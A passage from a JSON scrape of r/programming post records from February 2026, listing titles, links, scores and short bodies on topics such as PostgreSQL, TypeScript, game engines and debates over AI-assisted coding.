  "permalink": "https://www.reddit.com/r/programming/comments/1r75tvu/solid_in_fp_single_responsibility_or_how_pure/",
  "title": "SOLID in FP: Single Responsibility, or How Pure Functions Solved It Already · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 4,
  "createdAt": "2026-02-17T13:20:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/solid-in-fp-single-responsibility/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r6j1a8",
  "url": "https://cybernews-node.blogspot.com/2026/02/synthetic-data-hype-horror-and.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1r6j1a8/synthetic_data_in_2026_separating_the_legitimate/",
  "title": "Synthetic data in 2026: separating the legitimate use cases from the expensive mistakes",
  "body": "A technical reality check on GANs, diffusion models, and differential privacy - where the technology actually works vs. where it's still struggling.\n\nhttps://cybernews-node.blogspot.com/2026/02/synthetic-data-hype-horror-and.html",
  "author": "No_Fisherman1212",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 5,
  "createdAt": "2026-02-16T19:19:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cybernews-node.blogspot.com/2026/02/synthetic-data-hype-horror-and.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r6iypm",
  "url": "https://sniffnet.net/news/process-identification/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r6iypm/one_of_the_most_annoying_programming_challenges/",
  "title": "One of the most annoying programming challenges I've ever faced (port process identification)",
  "body": null,
  "author": "goldensyrupgames",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.63,
  "numComments": 13,
  "createdAt": "2026-02-16T19:16:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sniffnet.net/news/process-identification/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r6ddow",
  "url": "https://haskellforall.com/2026/02/browse-code-by-meaning",
  "permalink": "https://www.reddit.com/r/programming/comments/1r6ddow/browse_code_by_meaning/",
  "title": "Browse code by meaning",
  "body": null,
  "author": "Tekmo",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.58,
  "numComments": 6,
  "createdAt": "2026-02-16T15:57:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haskellforall.com/2026/02/browse-code-by-meaning",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r6cnn6",
  "url": "https://rogerwelin.github.io/2026/02/11/postgresql-bloat-is-a-feature-not-a-bug/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r6cnn6/postgresql_bloat_is_a_feature_not_a_bug/",
  "title": "PostgreSQL Bloat Is a Feature, Not a Bug",
  "body": null,
  "author": "mightyroger",
  "subreddit": "programming",
  "score": 261,
  "upvoteRatio": 0.9,
  "numComments": 40,
  "createdAt": "2026-02-16T15:31:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rogerwelin.github.io/2026/02/11/postgresql-bloat-is-a-feature-not-a-bug/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r65ee0",
  "url": "https://open.substack.com/pub/engrlog/p/why-skip-the-code-ship-the-binary?r=779hy&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
  "permalink": "https://www.reddit.com/r/programming/comments/1r65ee0/why_skip_the_code_ship_the_binary_is_a_category/",
  "title": "Why “Skip the Code, Ship the Binary” Is a Category Error",
  "body": "So recently Elon Musk is floating the idea that by 2026 you “won’t even bother coding” because models will “create the binary directly”.\n\nThis sounds futuristic until you stare at what compilers actually are. A compiler is already the “idea to binary” machine, except it has a formal language, a spec, deterministic transforms, and a pipeline built around checkability. Same inputs, same output. If it’s wrong, you get an error at a line and a reason.\n\nThe “skip the code” pitch is basically saying: let’s remove the one layer that humans can read, diff, review, debug, and audit, and jump straight to the most fragile artifact in the whole stack. Cool. Now when something breaks, you don’t inspect logic, you just reroll the slot machine. Crash? regenerate. Memory corruption? regenerate. Security bug? regenerate harder. Software engineering, now with gacha mechanics. 🤡\n\nAlso, binary isn’t forgiving. Source code can be slightly wrong and your compiler screams at you. Binary can be one byte wrong and you get a ghost story: undefined behavior, silent corruption, “works on my machine” but in production it’s haunted...you all know that.\n\nThe real category error here is mixing up two things: compilers are semantics-preserving transformers over formal systems, LLMs are stochastic text generators that need external verification to be trusted. If you add enough verification to make “direct binary generation” safe, congrats, you just reinvented the compiler toolchain, only with extra steps and less visibility.\n\nI wrote a longer breakdown on this because the “LLMs replaces coding” headlines miss what actually matters: verification, maintainability, and accountability.\n\nI am interested in hearing the steelman from anyone who’s actually shipped systems at scale.",
  "author": "tirtha_s",
  "subreddit": "programming",
  "score": 1265,
  "upvoteRatio": 0.93,
  "numComments": 243,
  "createdAt": "2026-02-16T09:42:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/engrlog/p/why-skip-the-code-ship-the-binary?r=779hy&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r5ni65",
  "url": "https://fabiensanglard.net/quake_asm_optimizations/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1r5ni65/how_michael_abrash_doubled_quake_framerate/",
  "title": "How Michael Abrash doubled Quake framerate",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 360,
  "upvoteRatio": 0.96,
  "numComments": 81,
  "createdAt": "2026-02-15T19:26:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fabiensanglard.net/quake_asm_optimizations/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r58zqv",
  "url": "https://addyosmani.com/blog/next-two-years/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r58zqv/the_next_two_years_of_software_engineering/",
  "title": "The Next Two Years of Software Engineering",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 240,
  "upvoteRatio": 0.73,
  "numComments": 321,
  "createdAt": "2026-02-15T07:58:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://addyosmani.com/blog/next-two-years/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r4o4px",
  "url": "https://lwn.net/SubscriberLink/1057561/bddc1e61152fadf6/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r4o4px/evolving_git_for_the_next_decade/",
  "title": "Evolving Git for the next decade",
  "body": null,
  "author": "symbolicard",
  "subreddit": "programming",
  "score": 466,
  "upvoteRatio": 0.95,
  "numComments": 233,
  "createdAt": "2026-02-14T15:56:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/SubscriberLink/1057561/bddc1e61152fadf6/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r3mznz",
  "url": "https://techcrunch.com/2026/02/12/spotify-says-its-best-developers-havent-written-a-line-of-code-since-december-thanks-to-ai/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r3mznz/spotify_says_its_best_developers_havent_written_a/",
  "title": "Spotify says its best developers haven't written a line of code since December, thanks to AI",
  "body": "The statements the article make are pretty exaggerated in my opinion, especially the part where a developer pushes to prod from their phone on their way to work. I was wondering though whether there are any developers from Spotify here who can actually talk on how much AI is being used in their company and how much truth there is to the statements of the CEO. Developer experience from other big tech companies regarding the extent to which AI is used in them is also welcome.",
  "author": "c0re_dump",
  "subreddit": "programming",
  "score": 1049,
  "upvoteRatio": 0.84,
  "numComments": 759,
  "createdAt": "2026-02-13T11:42:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2026/02/12/spotify-says-its-best-developers-havent-written-a-line-of-code-since-december-thanks-to-ai/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r3mlab",
  "url": "https://blog.42futures.com/p/my-business-as-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1r3mlab/my_business_as_code/",
  "title": "My Business as Code",
  "body": "After a recent peak in interest for a post about \"company-as-code\" on my blog, I thought it might be nice to follow up and show how I'm approaching this practically with Firm in my small business.\n\nHope you find it interesting!",
  "author": "danielrothmann",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 1,
  "createdAt": "2026-02-13T11:19:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.42futures.com/p/my-business-as-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r2t1ea",
  "url": "https://www.thepragmaticcto.com/p/lines-of-code-are-back-and-its-worse",
  "permalink": "https://www.reddit.com/r/programming/comments/1r2t1ea/lines_of_code_are_back_and_its_worse_than_before/",
  "title": "Lines of Code Are Back (And It's Worse Than Before)",
  "body": null,
  "author": "amacgregor",
  "subreddit": "programming",
  "score": 610,
  "upvoteRatio": 0.98,
  "numComments": 196,
  "createdAt": "2026-02-12T13:11:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.thepragmaticcto.com/p/lines-of-code-are-back-and-its-worse",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r2sa5u",
  "url": "https://github.com/matplotlib/matplotlib/pull/31132",
  "permalink": "https://www.reddit.com/r/programming/comments/1r2sa5u/slop_pull_request_is_rejected_so_slop_author/",
  "title": "Slop pull request is rejected, so slop author instructs slop AI agent to write a slop blog post criticising it as unfair",
  "body": null,
  "author": "yojimbo_beta",
  "subreddit": "programming",
  "score": 2488,
  "upvoteRatio": 0.94,
  "numComments": 349,
  "createdAt": "2026-02-12T12:35:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/matplotlib/matplotlib/pull/31132",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r2l8i5",
  "url": "https://medium.com/itnext/ai-coding-killed-my-flow-state-54b60354be1d?sk=5f1056f5fba3b54dc62326e4bd12dd4d",
  "permalink": "https://www.reddit.com/r/programming/comments/1r2l8i5/ai_coding_killed_my_flow_state/",
  "title": "AI Coding Killed My Flow State",
  "body": "Do you think more people will stop enjoying the job that was once energizing but now draining to introverts?",
  "author": "Fantastic-Cress-165",
  "subreddit": "programming",
  "score": 392,
  "upvoteRatio": 0.86,
  "numComments": 174,
  "createdAt": "2026-02-12T05:37:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/itnext/ai-coding-killed-my-flow-state-54b60354be1d?sk=5f1056f5fba3b54dc62326e4bd12dd4d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r25zkp",
  "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r25zkp/announcing_typescript_60_beta/",
  "title": "Announcing TypeScript 6.0 Beta",
  "body": null,
  "author": "DanielRosenwasser",
  "subreddit": "programming",
  "score": 252,
  "upvoteRatio": 0.93,
  "numComments": 74,
  "createdAt": "2026-02-11T18:51:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r1vjg7",
  "url": "https://cekrem.github.io/posts/elm-native/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r1vjg7/elmnative_scaffold_hybrid_mobile_apps_with_elm/",
  "title": "elm-native – scaffold hybrid mobile apps with Elm, Vite, and Capacitor",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 1,
  "createdAt": "2026-02-11T12:02:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/elm-native/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r1s392",
  "url": "https://siddhantkhare.com/writing/ai-fatigue-is-real",
  "permalink": "https://www.reddit.com/r/programming/comments/1r1s392/ai_fatigue_is_real_and_nobody_talks_about_it/",
  "title": "AI fatigue is real and nobody talks about it | Siddhant Khare",
  "body": null,
  "author": "peripateticman2026",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 19,
  "createdAt": "2026-02-11T08:40:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://siddhantkhare.com/writing/ai-fatigue-is-real",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r1jy13",
  "url": "https://devnewsletter.com/p/state-of-scala-2026/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r1jy13/state_of_scala_2026/",
  "title": "State of Scala 2026",
  "body": null,
  "author": "dev_newsletter",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 1,
  "createdAt": "2026-02-11T01:39:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devnewsletter.com/p/state-of-scala-2026/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r1jcl8",
  "url": "https://youtu.be/l03Os5uwWmk",
  "permalink": "https://www.reddit.com/r/programming/comments/1r1jcl8/using_youtube_as_cloud_storage/",
  "title": "Using YouTube as Cloud Storage",
  "body": "I tried using YouTube as file storage, and it worked! I posted a video about how I did it, and the algorithms I used.",
  "author": "PulseBeat_02",
  "subreddit": "programming",
  "score": 299,
  "upvoteRatio": 0.9,
  "numComments": 68,
  "createdAt": "2026-02-11T01:12:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/l03Os5uwWmk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r11cku",
  "url": "https://www.whileforloop.com/en/blog/2026/02/10/python-dynamic-typing-problem/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r11cku/pythons_dynamic_typing_problem/",
  "title": "Python's Dynamic Typing Problem",
  "body": "I’ve been writing Python professionally for a some time. It remains my favorite language for a specific class of problems. But after watching multiple codebases grow from scrappy prototypes into sprawling production systems, I’ve developed some strong opinions about where dynamic typing helps and where it quietly undermines you.",
  "author": "Sad-Interaction2478",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.68,
  "numComments": 151,
  "createdAt": "2026-02-10T13:54:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.whileforloop.com/en/blog/2026/02/10/python-dynamic-typing-problem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r0x5fh",
  "url": "https://blog.localstack.cloud/the-road-ahead-for-localstack/#why-were-making-a-change",
  "permalink": "https://www.reddit.com/r/programming/comments/1r0x5fh/localstack_will_require_an_account_to_use/",
  "title": "Localstack will require an account to use starting in March 2026",
  "body": "From the article: \n\n\\>Beginning in March 2026, LocalStack for AWS will be delivered as a single, unified version. Users will need to create an account to run LocalStack for AWS, which allows us to provide a secure, up-to-date, and feature-rich experience for everyone—from those on our free and student plans to those at enterprise accounts.\n\n\\>As a result of this shift, we cannot commit to releasing regular updates to the Community edition of LocalStack for AWS. Regular product enhancements and security patches will only be applied to the new version of LocalStack for AWS available via our website.\n\n...\n\n\\>For those using the Community edition of LocalStack for AWS today (i.e., the localstack/localstack Docker image), any project that automatically pulls the latest image of LocalStack for AWS from Docker Hub will need to be updated before the change goes live in March 2026.",
  "author": "corp_code_slinger",
  "subreddit": "programming",
  "score": 247,
  "upvoteRatio": 0.94,
  "numComments": 95,
  "createdAt": "2026-02-10T10:23:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.localstack.cloud/the-road-ahead-for-localstack/#why-were-making-a-change",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r0lx9g",
  "url": "https://fosdem.org/2026/schedule/event/7ZJJWW-fluorite-game-engine-flutter/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r0lx9g/fluorite_toyotas_upcoming_brand_new_game_engine/",
  "title": "Fluorite, Toyota's Upcoming Brand New Game Engine in Flutter",
  "body": "Sorry for any inaccuracies, but from the talk, this is what I understand:\n\nThis is initially mainly targeted for embedded devices, specifically mentioned Raspberry Pi 5.\n\nKey Features:\n\n* Integrated with Flutter for UI/UX\n* Uses Google Filament as the 3D renderer\n* JoltPhysics integration (on the roadmap)\n* Entity Component System (ECS) architecture\n* SDL3 Dart API\n* Fully open-source\n* Cross-platform support\n\nWhy Not Other Engines?\n\n* Unity/Unreal: High licensing fees and super resource-heavy.\n* Godot: Long startup times on embedded devices, also resource-intensive.\n* Impeller/Flutter\\_GPU: Still unusable on Linux.\n\nTech Highlights:\n\n* Specifically targeted for embedded hardware/platforms like Raspberry Pi 5.\n* Already used in Toyota RAV4 2026 Car.\n* SDL3 embedder for Flutter.\n* Filament 3D rendering engine for high-quality visuals.\n* ECS in action: Example of a bouncing ball sample fully written in Dart.\n* Flutter widgets controlling 3D scenes seamlessly.\n* Console-grade 3D rendering capabilities. Not sure what this means tbh but sounds cool.\n* Realtime hot reloading for faster iteration.\n* Blender compatibility out of the box.\n* Supports GLTF, GLB, KTX/HDR formats.\n* Shaders programmed with a superset of GLSL.\n* Full cross-platform: Embedded (Yocto/Linux), iOS, Android, Windows, macOS, and even consoles (I don't really understand this part in the talk, whether it's already supported, or theoretically it can already be supported since the underlying technology is SDL3)\n* SDL3 API bindings in Dart to be released.\n* Fully GPU-accelerated with Vulkan driving the 3D renderer across platforms.",
  "author": "No_Assistant1783",
  "subreddit": "programming",
  "score": 547,
  "upvoteRatio": 0.95,
  "numComments": 117,
  "createdAt": "2026-02-10T00:35:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fosdem.org/2026/schedule/event/7ZJJWW-fluorite-game-engine-flutter/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r0foef",
  "url": "https://github.com/joshuanwalker/Raiders2600/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r0foef/atari_2600_raiders_of_the_lost_ark_source_code/",
  "title": "Atari 2600 Raiders of the Lost Ark source code completely disassembled and reverse engineered. Every line fully commented.",
  "body": "This project started out to see what was the maximum points you needed to \"touch\" the Ark at the end of the game. (Note: you can't) and it kind of spiraled out from there. Now I'm contemplating porting this game to another 6502 machine or even PC with better graphics... (I'm leaning into a PC port) I'll probably call it \"Colorado Smith and the legally distinct Looters of the missing Holy Box\" or something...\n\nAnyways Enjoy a romp into the internals of the Atari 2600 and how a \"big\" game of the time (8K!) was put together with bank switching.\n\nPlease comment! I need the self-validation as this project took an embarrassing amount of time to complete!",
  "author": "halkun",
  "subreddit": "programming",
  "score": 730,
  "upvoteRatio": 0.98,
  "numComments": 76,
  "createdAt": "2026-02-09T20:33:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/joshuanwalker/Raiders2600/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qzsxy9",
  "url": "https://newsletter.eng-leadership.com/p/96-engineers-dont-fully-trust-ai",
  "permalink": "https://www.reddit.com/r/programming/comments/1qzsxy9/96_engineers_dont_fully_trust_ai_output_yet_only/",
  "title": "96% Engineers Don’t Fully Trust AI Output, Yet Only 48% Verify It",
  "body": null,
  "author": "gregorojstersek",
  "subreddit": "programming",
  "score": 1375,
  "upvoteRatio": 0.96,
  "numComments": 234,
  "createdAt": "2026-02-09T03:10:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.eng-leadership.com/p/96-engineers-dont-fully-trust-ai",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qzi4t2",
  "url": "https://www.lelanthran.com/chap14/content.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qzi4t2/c_and_undefined_behavior/",
  "title": "C and Undefined Behavior",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 47,
  "upvoteRatio": 0.69,
  "numComments": 42,
  "createdAt": "2026-02-08T19:23:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lelanthran.com/chap14/content.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qz81cn",
  "url": "https://tontinton.com/posts/lance/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qz81cn/lance_table_format_explained_simply_stupid/",
  "title": "Lance table format explained simply, stupid",
  "body": null,
  "author": "TonTinTon",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 8,
  "createdAt": "2026-02-08T12:46:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tontinton.com/posts/lance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qz5g7g",
  "url": "https://www.blundergoat.com/articles/ai-makes-the-easy-part-easier-and-the-hard-part-harder",
  "permalink": "https://www.reddit.com/r/programming/comments/1qz5g7g/ai_makes_the_easy_part_easier_and_the_hard_part/",
  "title": "AI Makes the Easy Part Easier and the Hard Part Harder",
  "body": null,
  "author": "BlunderGOAT",
  "subreddit": "programming",
  "score": 765,
  "upvoteRatio": 0.95,
  "numComments": 135,
  "createdAt": "2026-02-08T10:19:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.blundergoat.com/articles/ai-makes-the-easy-part-easier-and-the-hard-part-harder",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qyytvj",
  "url": "https://amit.prasad.me/blog/rip-good-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1qyytvj/the_silent_death_of_good_code/",
  "title": "The silent death of Good Code",
  "body": null,
  "author": "10ForwardShift",
  "subreddit": "programming",
  "score": 480,
  "upvoteRatio": 0.9,
  "numComments": 159,
  "createdAt": "2026-02-08T04:02:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://amit.prasad.me/blog/rip-good-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qyjria",
  "url": "https://haskellforall.com/2026/02/beyond-agentic-coding",
  "permalink": "https://www.reddit.com/r/programming/comments/1qyjria/beyond_agentic_coding/",
  "title": "Beyond agentic coding",
  "body": null,
  "author": "Tekmo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 2,
  "createdAt": "2026-02-07T17:28:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haskellforall.com/2026/02/beyond-agentic-coding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qyhci6",
  "url": "https://mccue.dev/pages/2-6-26-python-competitor",
  "permalink": "https://www.reddit.com/r/programming/comments/1qyhci6/python_only_has_one_real_competitor/",
  "title": "Python Only Has One Real Competitor",
  "body": null,
  "author": "bowbahdoe",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.63,
  "numComments": 339,
  "createdAt": "2026-02-07T15:55:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mccue.dev/pages/2-6-26-python-competitor",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qydckx",
  "url": "https://aibodh.com/posts/bevy-rust-game-development-chapter-2/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qydckx/the_impatient_programmers_guide_to_bevy_and_rust/",
  "title": "The Impatient Programmer's Guide to Bevy and Rust: Chapter 2 - Let There Be a World [Procedural Generation]",
  "body": "[Tutorial Link](https://aibodh.com/posts/bevy-rust-game-development-chapter-2/)  \n  \nChapter 2 - Let There Be a World \\[Procedural Generation\\]  \n  \nThis chapter teaches you procedural world generation using Wave Function Collapse and Bevy.  \n  \nA layered terrain system where tiles snap together based on simple rules. You'll create landscapes with dirt, grass, water, and decorative props.  \n  \nBy the end, you'll understand how simple constraint rules generate natural-looking game worlds and how tweaking few parameters lead to a lot of variety.  \n  \nIt also gently touches on rust concepts like references, lifetimes, closures, generic and trait bound.",
  "author": "febinjohnjames",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.57,
  "numComments": 3,
  "createdAt": "2026-02-07T13:07:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://aibodh.com/posts/bevy-rust-game-development-chapter-2/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qybp5l",
  "url": "https://cyber-omelette.com/posts/the-abstraction-rises.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qybp5l/llms_as_natural_language_compilers_what_the/",
  "title": "LLMs as natural language compilers: What the history of FORTRAN tells us about the future of coding.",
  "body": null,
  "author": "benrules2",
  "subreddit": "programming",
  "score": 232,
  "upvoteRatio": 0.78,
  "numComments": 105,
  "createdAt": "2026-02-07T11:41:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cyber-omelette.com/posts/the-abstraction-rises.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
